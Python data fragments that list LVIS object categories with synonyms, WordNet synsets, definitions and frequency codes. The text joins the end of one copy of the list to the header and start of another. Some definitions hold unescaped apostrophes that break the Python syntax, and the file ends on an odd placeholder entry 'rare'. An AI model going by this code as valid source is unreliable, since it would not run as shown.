'synset': 'tank.n.02', 'name': 'tank_(storage_vessel)', 'frequency': 'f'}, {'synonyms': ['tank_top_(clothing)'], 'def': 'a tight-fitting sleeveless shirt with wide shoulder straps and low neck and no front opening', 'id': 743, 'synset': 'tank_top.n.01', 'name': 'tank_top_(clothing)', 'frequency': 'f'}, {'synonyms': ['tape_(sticky_cloth_or_paper)'], 'def': 'a long thin piece of cloth or paper as used for binding or fastening', 'id': 744, 'synset': 'tape.n.01', 'name': 'tape_(sticky_cloth_or_paper)', 'frequency': 'f'}, {'synonyms': ['tape_measure', 'measuring_tape'], 'def': 'measuring instrument consisting of a narrow strip (cloth or metal) marked in inches or centimeters and used for measuring lengths', 'id': 745, 'synset': 'tape.n.04', 'name': 'tape_measure', 'frequency': 'c'}, {'synonyms': ['tapestry'], 'def': 'a heavy textile with a woven design; used for curtains and upholstery', 'id': 746, 'synset': 'tapestry.n.02', 'name': 'tapestry', 'frequency': 'c'}, {'synonyms': ['tarp'], 'def': 'waterproofed canvas', 'id': 747, 'synset': 'tarpaulin.n.01', 'name': 'tarp', 'frequency': 'f'}, {'synonyms': ['tartan', 'plaid'], 'def': 'a cloth having a crisscross design', 'id': 748, 'synset': 'tartan.n.01', 'name': 'tartan', 'frequency': 'c'}, {'synonyms': ['tassel'], 'def': 'adornment consisting of a bunch of cords fastened at one end', 'id': 749, 'synset': 'tassel.n.01', 'name': 'tassel', 'frequency': 'c'}, {'synonyms': ['tea_bag'], 'def': 'a measured amount of tea in a bag for an individual serving of tea', 'id': 750, 'synset': 'tea_bag.n.01', 'name': 'tea_bag', 'frequency': 'c'}, {'synonyms': ['teacup'], 'def': 'a cup from which tea is drunk', 'id': 751, 'synset': 'teacup.n.02', 'name': 'teacup', 'frequency': 'c'}, {'synonyms': ['teakettle'], 'def': 'kettle for boiling water to make tea', 'id': 752, 'synset': 'teakettle.n.01', 'name': 'teakettle', 'frequency': 'c'}, {'synonyms': ['teapot'], 'def': 'pot for brewing tea; usually has a spout and handle', 'id': 753, 'synset': 'teapot.n.01', 'name': 'teapot', 'frequency': 'f'}, {'synonyms': ['teddy_bear'], 'def': 'plaything consisting of a child's toy bear (usually plush and stuffed with soft materials)', 'id': 754, 'synset': 'teddy.n.01', 'name': 'teddy_bear', 'frequency': 'f'}, {'synonyms': ['telephone', 'phone', 'telephone_set'], 'def': 'electronic device for communicating by voice over long distances (includes wired and wireless/cell phones)', 'id': 755, 'synset': 'telephone.n.01', 'name': 'telephone', 'frequency': 'f'}, {'synonyms': ['telephone_booth', 'phone_booth', 'call_box', 'telephone_box', 'telephone_kiosk'], 'def': 'booth for using a telephone', 'id': 756, 'synset': 'telephone_booth.n.01', 'name': 'telephone_booth', 'frequency': 'c'}, {'synonyms': ['telephone_pole', 'telegraph_pole', 'telegraph_post'], 'def': 'tall pole supporting telephone wires', 'id': 757, 'synset': 'telephone_pole.n.01', 'name': 'telephone_pole', 'frequency': 'f'}, {'synonyms': ['television_camera', 'tv_camera'], 'def': 'television equipment for capturing and recording video', 'id': 758, 'synset': 'television_camera.n.01', 'name': 'television_camera', 'frequency': 'c'}, {'synonyms': ['television_set', 'tv', 'tv_set'], 'def': 'an electronic device that receives television signals and displays them on a screen', 'id': 759, 'synset': 'television_receiver.n.01', 'name': 'television_set', 'frequency': 'f'}, {'synonyms': ['tennis_ball'], 'def': 'ball about the size of a fist used in playing tennis', 'id': 760, 'synset': 'tennis_ball.n.01', 'name': 'tennis_ball', 'frequency': 'f'}, {'synonyms': ['tennis_racket'], 'def': 'a racket used to play tennis', 'id': 761, 'synset': 'tennis_racket.n.01', 'name': 'tennis_racket', 'frequency': 'f'}, {'synonyms': ['thermometer'], 'def': 'measuring instrument for measuring temperature', 'id': 762, 'synset': 'thermometer.n.01', 'name': 'thermometer', 'frequency': 'c'}, {'synonyms': ['thermos_bottle'], 'def': 'vacuum flask that preserves temperature of hot or cold drinks', 'id': 763, 'synset': 'thermos.n.01', 'name': 'thermos_bottle', 'frequency': 'c'}, {'synonyms': ['thermostat'], 'def': 'a regulator for automatically regulating temperature by starting or stopping the supply of heat', 'id': 764, 'synset': 'thermostat.n.01', 'name': 'thermostat', 'frequency': 'f'}, {'synonyms': ['thread', 'yarn'], 'def': 'a fine cord of twisted fibers (of cotton or silk or wool or nylon etc.) used in sewing and weaving', 'id': 765, 'synset': 'thread.n.01', 'name': 'thread', 'frequency': 'c'}, {'synonyms': ['thumbtack', 'drawing_pin', 'pushpin'], 'def': 'a tack for attaching papers to a bulletin board or drawing board', 'id': 766, 'synset': 'thumbtack.n.01', 'name': 'thumbtack', 'frequency': 'c'}, {'synonyms': ['tiara'], 'def': 'a jeweled headdress worn by women on formal occasions', 'id': 767, 'synset': 'tiara.n.01', 'name': 'tiara', 'frequency': 'c'}, {'synonyms': ['tiger'], 'def': 'large feline of forests in most of Asia having a tawny coat with black stripes', 'id': 768, 'synset': 'tiger.n.02', 'name': 'tiger', 'frequency': 'c'}, {'synonyms': ['tights_(clothing)', 'leotards'], 'def': 'skintight knit hose covering the body from the waist to the feet worn by acrobats and dancers and as stockings by women and girls', 'id': 769, 'synset': 'tights.n.01', 'name': 'tights_(clothing)', 'frequency': 'c'}, {'synonyms': ['timer', 'stopwatch'], 'def': 'a timepiece that measures a time interval and signals its end', 'id': 770, 'synset': 'timer.n.01', 'name': 'timer', 'frequency': 'c'}, {'synonyms': ['tinfoil'], 'def': 'foil made of tin or an alloy of tin and lead', 'id': 771, 'synset': 'tinfoil.n.01', 'name': 'tinfoil', 'frequency': 'f'}, {'synonyms': ['tinsel'], 'def': 'a showy decoration that is basically valueless', 'id': 772, 'synset': 'tinsel.n.01', 'name': 'tinsel', 'frequency': 'c'}, {'synonyms': ['tissue_paper'], 'def': 'a soft thin (usually translucent) paper', 'id': 773, 'synset': 'tissue.n.02', 'name': 'tissue_paper', 'frequency': 'f'}, {'synonyms': ['toast_(food)'], 'def': 'slice of bread that has been toasted', 'id': 774, 'synset': 'toast.n.01', 'name': 'toast_(food)', 'frequency': 'c'}, {'synonyms': ['toaster'], 'def': 'a kitchen appliance (usually electric) for toasting bread', 'id': 775, 'synset': 'toaster.n.02', 'name': 'toaster', 'frequency': 'f'}, {'synonyms': ['toaster_oven'], 'def': 'kitchen appliance consisting of a small electric oven for toasting or warming food', 'id': 776, 'synset': 'toaster_oven.n.01', 'name': 'toaster_oven', 'frequency': 'f'}, {'synonyms': ['toilet'], 'def': 'a plumbing fixture for defecation and urination', 'id': 777, 'synset': 'toilet.n.02', 'name': 'toilet', 'frequency': 'f'}, {'synonyms': ['toilet_tissue', 'toilet_paper', 'bathroom_tissue'], 'def': 'a soft thin absorbent paper for use in toilets', 'id': 778, 'synset': 'toilet_tissue.n.01', 'name': 'toilet_tissue', 'frequency': 'f'}, {'synonyms': ['tomato'], 'def': 'mildly acid red or yellow pulpy fruit eaten as a vegetable', 'id': 779, 'synset': 'tomato.n.01', 'name': 'tomato', 'frequency': 'f'}, {'synonyms': ['tongs'], 'def': 'any of various devices for taking hold of objects; usually have two hinged legs with handles above and pointed hooks below', 'id': 780, 'synset': 'tongs.n.01', 'name': 'tongs', 'frequency': 'f'}, {'synonyms': ['toolbox'], 'def': 'a box or chest or cabinet for holding hand tools', 'id': 781, 'synset': 'toolbox.n.01', 'name': 'toolbox', 'frequency': 'c'}, {'synonyms': ['toothbrush'], 'def': 'small brush; has long handle; used to clean teeth', 'id': 782, 'synset': 'toothbrush.n.01', 'name': 'toothbrush', 'frequency': 'f'}, {'synonyms': ['toothpaste'], 'def': 'a dentifrice in the form of a paste', 'id': 783, 'synset': 'toothpaste.n.01', 'name': 'toothpaste', 'frequency': 'f'}, {'synonyms': ['toothpick'], 'def': 'pick consisting of a small strip of wood or plastic; used to pick food from between the teeth', 'id': 784, 'synset': 'toothpick.n.01', 'name': 'toothpick', 'frequency': 'f'}, {'synonyms': ['cover'], 'def': 'covering for a hole (especially a hole in the top of a container)', 'id': 785, 'synset': 'top.n.09', 'name': 'cover', 'frequency': 'f'}, {'synonyms': ['tortilla'], 'def': 'thin unleavened pancake made from cornmeal or wheat flour', 'id': 786, 'synset': 'tortilla.n.01', 'name': 'tortilla', 'frequency': 'c'}, {'synonyms': ['tow_truck'], 'def': 'a truck equipped to hoist and pull wrecked cars (or to remove cars from no-parking zones)', 'id': 787, 'synset': 'tow_truck.n.01', 'name': 'tow_truck', 'frequency': 'c'}, {'synonyms': ['towel'], 'def': 'a rectangular piece of absorbent cloth (or paper) for drying or wiping', 'id': 788, 'synset': 'towel.n.01', 'name': 'towel', 'frequency': 'f'}, {'synonyms': ['towel_rack', 'towel_rail', 'towel_bar'], 'def': 'a rack consisting of one or more bars on which towels can be hung', 'id': 789, 'synset': 'towel_rack.n.01', 'name': 'towel_rack', 'frequency': 'f'}, {'synonyms': ['toy'], 'def': 'a device regarded as providing amusement', 'id': 790, 'synset': 'toy.n.03', 'name': 'toy', 'frequency': 'f'}, {'synonyms': ['tractor_(farm_equipment)'], 'def': 'a wheeled vehicle with large wheels; used in farming and other applications', 'id': 791, 'synset': 'tractor.n.01', 'name': 'tractor_(farm_equipment)', 'frequency': 'c'}, {'synonyms': ['traffic_light'], 'def': 'a device to control vehicle traffic often consisting of three or more lights', 'id': 792, 'synset': 'traffic_light.n.01', 'name': 'traffic_light', 'frequency': 'f'}, {'synonyms': ['dirt_bike'], 'def': 'a lightweight motorcycle equipped with rugged tires and suspension for off-road use', 'id': 793, 'synset': 'trail_bike.n.01', 'name': 'dirt_bike', 'frequency': 'c'}, {'synonyms': ['trailer_truck', 'tractor_trailer', 'trucking_rig', 'articulated_lorry', 'semi_truck'], 'def': 'a truck consisting of a tractor and trailer together', 'id': 794, 'synset': 'trailer_truck.n.01', 'name': 'trailer_truck', 'frequency': 'f'}, {'synonyms': ['train_(railroad_vehicle)', 'railroad_train'], 'def': 'public or private transport provided by a line of railway cars coupled together and drawn by a locomotive', 'id': 795, 'synset': 'train.n.01', 'name': 'train_(railroad_vehicle)', 'frequency': 'f'}, {'synonyms': ['tray'], 'def': 'an open receptacle for holding or displaying or serving articles or food', 'id': 796, 'synset': 'tray.n.01', 'name': 'tray', 'frequency': 'f'}, {'synonyms': ['tricycle'], 'def': 'a vehicle with three wheels that is moved by foot pedals', 'id': 797, 'synset': 'tricycle.n.01', 'name': 'tricycle', 'frequency': 'c'}, {'synonyms': ['tripod'], 'def': 'a three-legged rack used for support', 'id': 798, 'synset': 'tripod.n.01', 'name': 'tripod', 'frequency': 'f'}, {'synonyms': ['trousers', 'pants_(clothing)'], 'def': 'a garment extending from the waist to the knee or ankle, covering each leg separately', 'id': 799, 'synset': 'trouser.n.01', 'name': 'trousers', 'frequency': 'f'}, {'synonyms': ['truck'], 'def': 'an automotive vehicle suitable for hauling', 'id': 800, 'synset': 'truck.n.01', 'name': 'truck', 'frequency': 'f'}, {'synonyms': ['trunk'], 'def': 'luggage consisting of a large strong case used when traveling or for storage', 'id': 801, 'synset': 'trunk.n.02', 'name': 'trunk', 'frequency': 'c'}, {'synonyms': ['turban'], 'def': 'a traditional headdress consisting of a long scarf wrapped around the head', 'id': 802, 'synset': 'turban.n.01', 'name': 'turban', 'frequency': 'c'}, {'synonyms': ['turkey_(food)'], 'def': 'flesh of large domesticated fowl usually roasted', 'id': 803, 'synset': 'turkey.n.04', 'name': 'turkey_(food)', 'frequency': 'c'}, {'synonyms': ['turtle'], 'def': 'any of various aquatic and land reptiles having a bony shell and flipper-like limbs for swimming', 'id': 804, 'synset': 'turtle.n.02', 'name': 'turtle', 'frequency': 'c'}, {'synonyms': ['turtleneck_(clothing)', 'polo-neck'], 'def': 'a sweater or jersey with a high close-fitting collar', 'id': 805, 'synset': 'turtleneck.n.01', 'name': 'turtleneck_(clothing)', 'frequency': 'c'}, {'synonyms': ['typewriter'], 'def': 'hand-operated character printer for printing written messages one character at a time', 'id': 806, 'synset': 'typewriter.n.01', 'name': 'typewriter', 'frequency': 'c'}, {'synonyms': ['umbrella'], 'def': 'a lightweight handheld collapsible canopy', 'id': 807, 'synset': 'umbrella.n.01', 'name': 'umbrella', 'frequency': 'f'}, {'synonyms': ['underwear', 'underclothes', 'underclothing', 'underpants'], 'def': 'undergarment worn next to the skin and under the outer garments', 'id': 808, 'synset': 'underwear.n.01', 'name': 'underwear', 'frequency': 'f'}, {'synonyms': ['urinal'], 'def': 'a plumbing fixture (usually attached to the wall) used by men to urinate', 'id': 809, 'synset': 'urinal.n.01', 'name': 'urinal', 'frequency': 'f'}, {'synonyms': ['urn'], 'def': 'a large vase that usually has a pedestal or feet', 'id': 810, 'synset': 'urn.n.01', 'name': 'urn', 'frequency': 'c'}, {'synonyms': ['vacuum_cleaner'], 'def': 'an electrical home appliance that cleans by suction', 'id': 811, 'synset': 'vacuum.n.04', 'name': 'vacuum_cleaner', 'frequency': 'c'}, {'synonyms': ['vase'], 'def': 'an open jar of glass or porcelain used as an ornament or to hold flowers', 'id': 812, 'synset': 'vase.n.01', 'name': 'vase', 'frequency': 'f'}, {'synonyms': ['vending_machine'], 'def': 'a slot machine for selling goods', 'id': 813, 'synset': 'vending_machine.n.01', 'name': 'vending_machine', 'frequency': 'c'}, {'synonyms': ['vent', 'blowhole', 'air_vent'], 'def': 'a hole for the escape of gas or air', 'id': 814, 'synset': 'vent.n.01', 'name': 'vent', 'frequency': 'f'}, {'synonyms': ['vest', 'waistcoat'], 'def': 'a man's sleeveless garment worn underneath a coat', 'id': 815, 'synset': 'vest.n.01', 'name': 'vest', 'frequency': 'f'}, {'synonyms': ['videotape'], 'def': 'a video recording made on magnetic tape', 'id': 816, 'synset': 'videotape.n.01', 'name': 'videotape', 'frequency': 'c'}, {'synonyms': ['volleyball'], 'def': 'an inflated ball used in playing volleyball', 'id': 817, 'synset': 'volleyball.n.02', 'name': 'volleyball', 'frequency': 'c'}, {'synonyms': ['waffle'], 'def': 'pancake batter baked in a waffle iron', 'id': 818, 'synset': 'waffle.n.01', 'name': 'waffle', 'frequency': 'c'}, {'synonyms': ['wagon'], 'def': 'any of various kinds of wheeled vehicles drawn by an animal or a tractor', 'id': 819, 'synset': 'wagon.n.01', 'name': 'wagon', 'frequency': 'c'}, {'synonyms': ['wagon_wheel'], 'def': 'a wheel of a wagon', 'id': 820, 'synset': 'wagon_wheel.n.01', 'name': 'wagon_wheel', 'frequency': 'c'}, {'synonyms': ['walking_stick'], 'def': 'a stick carried in the hand for support in walking', 'id': 821, 'synset': 'walking_stick.n.01', 'name': 'walking_stick', 'frequency': 'c'}, {'synonyms': ['wall_clock'], 'def': 'a clock mounted on a wall', 'id': 822, 'synset': 'wall_clock.n.01', 'name': 'wall_clock', 'frequency': 'c'}, {'synonyms': ['wall_socket', 'wall_plug', 'electric_outlet', 'electrical_outlet', 'outlet', 'electric_receptacle'], 'def': 'receptacle providing a place in a wiring system where current can be taken to run electrical devices', 'id': 823, 'synset': 'wall_socket.n.01', 'name': 'wall_socket', 'frequency': 'f'}, {'synonyms': ['wallet', 'billfold'], 'def': 'a pocket-size case for holding papers and paper money', 'id': 824, 'synset': 'wallet.n.01', 'name': 'wallet', 'frequency': 'f'}, {'synonyms': ['automatic_washer', 'washing_machine'], 'def': 'a home appliance for washing clothes and linens automatically', 'id': 825, 'synset': 'washer.n.03', 'name': 'automatic_washer', 'frequency': 'c'}, {'synonyms': ['watch', 'wristwatch'], 'def': 'a small, portable timepiece', 'id': 826, 'synset': 'watch.n.01', 'name': 'watch', 'frequency': 'f'}, {'synonyms': ['water_bottle'], 'def': 'a bottle for holding water', 'id': 827, 'synset': 'water_bottle.n.01', 'name': 'water_bottle', 'frequency': 'f'}, {'synonyms': ['water_cooler'], 'def': 'a device for cooling and dispensing drinking water', 'id': 828, 'synset': 'water_cooler.n.01', 'name': 'water_cooler', 'frequency': 'c'}, {'synonyms': ['water_faucet', 'water_tap', 'tap_(water_faucet)'], 'def': 'a faucet for drawing water from a pipe or cask', 'id': 829, 'synset': 'water_faucet.n.01', 'name': 'water_faucet', 'frequency': 'c'}, {'synonyms': ['water_jug'], 'def': 'a jug that holds water', 'id': 830, 'synset': 'water_jug.n.01', 'name': 'water_jug', 'frequency': 'c'}, {'synonyms': ['water_scooter', 'sea_scooter', 'jet_ski'], 'def': 'a motorboat resembling a motor scooter (NOT A SURFBOARD OR WATER SKI)', 'id': 831, 'synset': 'water_scooter.n.01', 'name': 'water_scooter', 'frequency': 'c'}, {'synonyms': ['water_ski'], 'def': 'broad ski for skimming over water towed by a speedboat (DO NOT MARK WATER)', 'id': 832, 'synset': 'water_ski.n.01', 'name': 'water_ski', 'frequency': 'c'}, {'synonyms': ['water_tower'], 'def': 'a large reservoir for water', 'id': 833, 'synset': 'water_tower.n.01', 'name': 'water_tower', 'frequency': 'c'}, {'synonyms': ['watering_can'], 'def': 'a container with a handle and a spout with a perforated nozzle; used to sprinkle water over plants', 'id': 834, 'synset': 'watering_can.n.01', 'name': 'watering_can', 'frequency': 'c'}, {'synonyms': ['watermelon'], 'def': 'large oblong or roundish melon with a hard green rind and sweet watery red or occasionally yellowish pulp', 'id': 835, 'synset': 'watermelon.n.02', 'name': 'watermelon', 'frequency': 'f'}, {'synonyms': ['weathervane', 'vane_(weathervane)', 'wind_vane'], 'def': 'mechanical device attached to an elevated structure; rotates freely to show the direction of the wind', 'id': 836, 'synset': 'weathervane.n.01', 'name': 'weathervane', 'frequency': 'f'}, {'synonyms': ['webcam'], 'def': 'a digital camera designed to take digital photographs and transmit them over the internet', 'id': 837, 'synset': 'webcam.n.01', 'name': 'webcam', 'frequency': 'c'}, {'synonyms': ['wedding_cake', 'bridecake'], 'def': 'a rich cake with two or more tiers and covered with frosting and decorations; served at a wedding reception', 'id': 838, 'synset': 'wedding_cake.n.01', 'name': 'wedding_cake', 'frequency': 'c'}, {'synonyms': ['wedding_ring', 'wedding_band'], 'def': 'a ring given to the bride and/or groom at the wedding', 'id': 839, 'synset': 'wedding_ring.n.01', 'name': 'wedding_ring', 'frequency': 'c'}, {'synonyms': ['wet_suit'], 'def': 'a close-fitting garment made of a permeable material; worn in cold water to retain body heat', 'id': 840, 'synset': 'wet_suit.n.01', 'name': 'wet_suit', 'frequency': 'f'}, {'synonyms': ['wheel'], 'def': 'a circular frame with spokes (or a solid disc) that can rotate on a shaft or axle', 'id': 841, 'synset': 'wheel.n.01', 'name': 'wheel', 'frequency': 'f'}, {'synonyms': ['wheelchair'], 'def': 'a movable chair mounted on large wheels', 'id': 842, 'synset': 'wheelchair.n.01', 'name': 'wheelchair', 'frequency': 'c'}, {'synonyms': ['whipped_cream'], 'def': 'cream that has been beaten until light and fluffy', 'id': 843, 'synset': 'whipped_cream.n.01', 'name': 'whipped_cream', 'frequency': 'c'}, {'synonyms': ['whistle'], 'def': 'a small wind instrument that produces a whistling sound by blowing into it', 'id': 844, 'synset': 'whistle.n.03', 'name': 'whistle', 'frequency': 'c'}, {'synonyms': ['wig'], 'def': 'hairpiece covering the head and made of real or synthetic hair', 'id': 845, 'synset': 'wig.n.01', 'name': 'wig', 'frequency': 'c'}, {'synonyms': ['wind_chime'], 'def': 'a decorative arrangement of pieces of metal or glass or pottery that hang together loosely so the wind can cause them to tinkle', 'id': 846, 'synset': 'wind_chime.n.01', 'name': 'wind_chime', 'frequency': 'c'}, {'synonyms': ['windmill'], 'def': 'A mill or turbine that is powered by wind', 'id': 847, 'synset': 'windmill.n.01', 'name': 'windmill', 'frequency': 'c'}, {'synonyms': ['window_box_(for_plants)'], 'def': 'a container for growing plants on a windowsill', 'id': 848, 'synset': 'window_box.n.01', 'name': 'window_box_(for_plants)', 'frequency': 'c'}, {'synonyms': ['windshield_wiper', 'windscreen_wiper', 'wiper_(for_windshield/screen)'], 'def': 'a mechanical device that cleans the windshield', 'id': 849, 'synset': 'windshield_wiper.n.01', 'name': 'windshield_wiper', 'frequency': 'f'}, {'synonyms': ['windsock', 'air_sock', 'air-sleeve', 'wind_sleeve', 'wind_cone'], 'def': 'a truncated cloth cone mounted on a mast/pole; shows wind direction', 'id': 850, 'synset': 'windsock.n.01', 'name': 'windsock', 'frequency': 'c'}, {'synonyms': ['wine_bottle'], 'def': 'a bottle for holding wine', 'id': 851, 'synset': 'wine_bottle.n.01', 'name': 'wine_bottle', 'frequency': 'f'}, {'synonyms': ['wine_bucket', 'wine_cooler'], 'def': 'a bucket of ice used to chill a bottle of wine', 'id': 852, 'synset': 'wine_bucket.n.01', 'name': 'wine_bucket', 'frequency': 'c'}, {'synonyms': ['wineglass'], 'def': 'a glass that has a stem and in which wine is served', 'id': 853, 'synset': 'wineglass.n.01', 'name': 'wineglass', 'frequency': 'f'}, {'synonyms': ['blinder_(for_horses)'], 'def': 'blinds that prevent a horse from seeing something on either side', 'id': 854, 'synset': 'winker.n.02', 'name': 'blinder_(for_horses)', 'frequency': 'f'}, {'synonyms': ['wok'], 'def': 'pan with a convex bottom; used for frying in Chinese cooking', 'id': 855, 'synset': 'wok.n.01', 'name': 'wok', 'frequency': 'c'}, {'synonyms': ['wooden_spoon'], 'def': 'a spoon made of wood', 'id': 856, 'synset': 'wooden_spoon.n.02', 'name': 'wooden_spoon', 'frequency': 'c'}, {'synonyms': ['wreath'], 'def': 'an arrangement of flowers, leaves, or stems fastened in a ring', 'id': 857, 'synset': 'wreath.n.01', 'name': 'wreath', 'frequency': 'c'}, {'synonyms': ['wrench', 'spanner'], 'def': 'a hand tool that is used to hold or twist a nut or bolt', 'id': 858, 'synset': 'wrench.n.03', 'name': 'wrench', 'frequency': 'c'}, {'synonyms': ['wristband'], 'def': 'band consisting of a part of a sleeve that covers the wrist', 'id': 859, 'synset': 'wristband.n.01', 'name': 'wristband', 'frequency': 'f'}, {'synonyms': ['wristlet', 'wrist_band'], 'def': 'a band or bracelet worn around the wrist', 'id': 860, 'synset': 'wristlet.n.01', 'name': 'wristlet', 'frequency': 'f'}, {'synonyms': ['yacht'], 'def': 'an expensive vessel propelled by sail or power and used for cruising or racing', 'id': 861, 'synset': 'yacht.n.01', 'name': 'yacht', 'frequency': 'c'}, {'synonyms': ['yogurt', 'yoghurt', 'yoghourt'], 'def': 'a custard-like food made from curdled milk', 'id': 862, 'synset': 'yogurt.n.01', 'name': 'yogurt', 'frequency': 'c'}, {'synonyms': ['yoke_(animal_equipment)'], 'def': 'gear joining two animals at the neck; NOT egg yolk', 'id': 863, 'synset': 'yoke.n.07', 'name': 'yoke_(animal_equipment)', 'frequency': 'c'}, {'synonyms': ['zebra'], 'def': 'any of several fleet black-and-white striped African equines', 'id': 864, 'synset': 'zebra.n.01', 'name': 'zebra', 'frequency': 'f'}, {'synonyms': ['zucchini', 'courgette'], 'def': 'small cucumber-shaped vegetable marrow; typically dark green', 'id': 865, 'synset': 'zucchini.n.02', 'name': 'zucchini', 'frequency': 'c'}, {'synonyms': 'rare', 'def': 'rare', 'id': 866, 'synset': 'zucchini.n.01', 'name': 'rare', 'frequency': 'r'}] # noqa
# fmt: on
| # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
# Autogen with
# import json
#
# with open("/datasets/lvis/lvis_v1_val_headv1.json", "r") as f:
# a = json.load(f)
# c = a["categories"]
# for x in c:
# del x["image_count"]
# del x["instance_count"]
# LVIS_CATEGORIES = repr(c) + " # noqa"
# with open("/tmp/lvis_categories.py", "wt") as f:
# f.write(f"LVIS_CATEGORIES = {LVIS_CATEGORIES}")
# Then paste the contents of that file below
# fmt: off
LVIS_CATEGORIES = [{'synonyms': ['aerosol_can', 'spray_can'], 'def': 'a dispenser that holds a substance under pressure', 'id': 0, 'synset': 'aerosol.n.02', 'name': 'aerosol_can', 'frequency': 'c'}, {'synonyms': ['air_conditioner'], 'def': 'a machine that keeps air cool and dry', 'id': 1, 'synset': 'air_conditioner.n.01', 'name': 'air_conditioner', 'frequency': 'f'}, {'synonyms': ['airplane', 'aeroplane'], 'def': 'an aircraft that has a fixed wing and is powered by propellers or jets', 'id': 2, 'synset': 'airplane.n.01', 'name': 'airplane', 'frequency': 'f'}, {'synonyms': ['alarm_clock'], 'def': 'a clock that wakes a sleeper at some preset time', 'id': 3, 'synset': 'alarm_clock.n.01', 'name': 'alarm_clock', 'frequency': 'f'}, {'synonyms': ['alcohol', 'alcoholic_beverage'], 'def': 'a liquor or brew containing alcohol as the active agent', 'id': 4, 'synset': 'alcohol.n.01', 'name': 'alcohol', 'frequency': 'c'}, {'synonyms': ['alligator', 'gator'], 'def': 'amphibious reptiles related to crocodiles but with shorter broader snouts', 'id': 5, 'synset': 'alligator.n.02', 'name': 'alligator', 'frequency': 'c'}, {'synonyms': ['almond'], 'def': 'oval-shaped edible seed of the almond tree', 'id': 6, 'synset': 'almond.n.02', 'name': 'almond', 'frequency': 'c'}, {'synonyms': ['ambulance'], 'def': 'a vehicle that takes people to and from hospitals', 'id': 7, 'synset': 'ambulance.n.01', 'name': 'ambulance', 'frequency': 'c'}, {'synonyms': ['amplifier'], 'def': 'electronic equipment that increases strength of signals', 'id': 8, 'synset': 'amplifier.n.01', 'name': 'amplifier', 'frequency': 'c'}, {'synonyms': ['anklet', 'ankle_bracelet'], 'def': 'an ornament worn around the ankle', 'id': 9, 'synset': 'anklet.n.03', 'name': 'anklet', 'frequency': 'c'}, {'synonyms': ['antenna', 'aerial', 'transmitting_aerial'], 'def': 'an electrical device that sends or receives radio or television signals', 'id': 10, 'synset': 'antenna.n.01', 'name': 'antenna', 'frequency': 'f'}, {'synonyms': ['apple'], 'def': 'fruit with red or yellow or green skin and sweet to tart crisp whitish flesh', 'id': 11, 'synset': 'apple.n.01', 'name': 'apple', 'frequency': 'f'}, {'synonyms': ['apron'], 'def': 'a garment of cloth that is tied about the waist and worn to protect clothing', 'id': 12, 'synset': 'apron.n.01', 'name': 'apron', 'frequency': 'f'}, {'synonyms': ['aquarium', 'fish_tank'], 'def': 'a tank/pool/bowl filled with water for keeping live fish and underwater animals', 'id': 13, 'synset': 'aquarium.n.01', 'name': 'aquarium', 'frequency': 'c'}, {'synonyms': ['armband'], 'def': 'a band worn around the upper arm', 'id': 14, 'synset': 'armband.n.02', 'name': 'armband', 'frequency': 'c'}, {'synonyms': ['armchair'], 'def': 'chair with a support on each side for arms', 'id': 15, 'synset': 'armchair.n.01', 'name': 'armchair', 'frequency': 'f'}, {'synonyms': ['artichoke'], 'def': 'a thistlelike flower head with edible fleshy leaves and heart', 'id': 16, 'synset': 'artichoke.n.02', 'name': 'artichoke', 'frequency': 'c'}, {'synonyms': ['trash_can', 'garbage_can', 'wastebin', 'dustbin', 'trash_barrel', 'trash_bin'], 'def': 'a bin that holds rubbish until it is collected', 'id': 17, 'synset': 'ashcan.n.01', 'name': 'trash_can', 'frequency': 'f'}, {'synonyms': ['ashtray'], 'def': "a receptacle for the ash from smokers' cigars or cigarettes", 'id': 18, 'synset': 'ashtray.n.01', 'name': 'ashtray', 'frequency': 'c'}, {'synonyms': ['asparagus'], 'def': 'edible young shoots of the asparagus plant', 'id': 19, 'synset': 'asparagus.n.02', 'name': 'asparagus', 'frequency': 'c'}, {'synonyms': ['atomizer', 'atomiser', 'spray', 'sprayer', 'nebulizer', 'nebuliser'], 'def': 'a dispenser that turns a liquid (such as perfume) into a fine mist', 'id': 20, 'synset': 'atomizer.n.01', 'name': 'atomizer', 'frequency': 'c'}, {'synonyms': ['avocado'], 'def': 'a pear-shaped fruit with green or blackish skin and rich yellowish pulp enclosing a single large seed', 'id': 21, 'synset': 'avocado.n.01', 'name': 'avocado', 'frequency': 'f'}, {'synonyms': ['award', 'accolade'], 'def': 'a tangible symbol signifying approval or distinction', 'id': 22, 'synset': 'award.n.02', 'name': 'award', 'frequency': 'c'}, {'synonyms': ['awning'], 'def': 'a canopy made of canvas to shelter people or things from rain or sun', 'id': 23, 'synset': 'awning.n.01', 'name': 'awning', 'frequency': 'f'}, {'synonyms': ['baby_buggy', 'baby_carriage', 'perambulator', 'pram', 'stroller'], 'def': 'a small vehicle with four wheels in which a baby or child is pushed around', 'id': 24, 'synset': 'baby_buggy.n.01', 'name': 'baby_buggy', 'frequency': 'f'}, {'synonyms': ['basketball_backboard'], 'def': 'a raised vertical board with basket attached; used to play basketball', 'id': 25, 'synset': 'backboard.n.01', 'name': 'basketball_backboard', 'frequency': 'c'}, {'synonyms': ['backpack', 'knapsack', 'packsack', 'rucksack', 'haversack'], 'def': 'a bag carried by a strap on your back or shoulder', 'id': 26, 'synset': 'backpack.n.01', 'name': 'backpack', 'frequency': 'f'}, {'synonyms': ['handbag', 'purse', 'pocketbook'], 'def': 'a container used for carrying money and small personal items or accessories', 'id': 27, 'synset': 'bag.n.04', 'name': 'handbag', 'frequency': 'f'}, {'synonyms': ['suitcase', 'baggage', 'luggage'], 'def': 'cases used to carry belongings when traveling', 'id': 28, 'synset': 'bag.n.06', 'name': 'suitcase', 'frequency': 'f'}, {'synonyms': ['bagel', 'beigel'], 'def': 'glazed yeast-raised doughnut-shaped roll with hard crust', 'id': 29, 'synset': 'bagel.n.01', 'name': 'bagel', 'frequency': 'c'}, {'synonyms': ['ball'], 'def': 'a spherical object used as a plaything', 'id': 30, 'synset': 'ball.n.06', 'name': 'ball', 'frequency': 'f'}, {'synonyms': ['balloon'], 'def': 'large tough nonrigid bag filled with gas or heated air', 'id': 31, 'synset': 'balloon.n.01', 'name': 'balloon', 'frequency': 'f'}, {'synonyms': ['bamboo'], 'def': 'woody tropical grass having hollow woody stems', 'id': 32, 'synset': 'bamboo.n.02', 'name': 'bamboo', 'frequency': 'c'}, {'synonyms': ['banana'], 'def': 'elongated crescent-shaped yellow fruit with soft sweet flesh', 'id': 33, 'synset': 'banana.n.02', 'name': 'banana', 'frequency': 'f'}, {'synonyms': ['Band_Aid'], 'def': 'trade name for an adhesive bandage to cover small cuts or blisters', 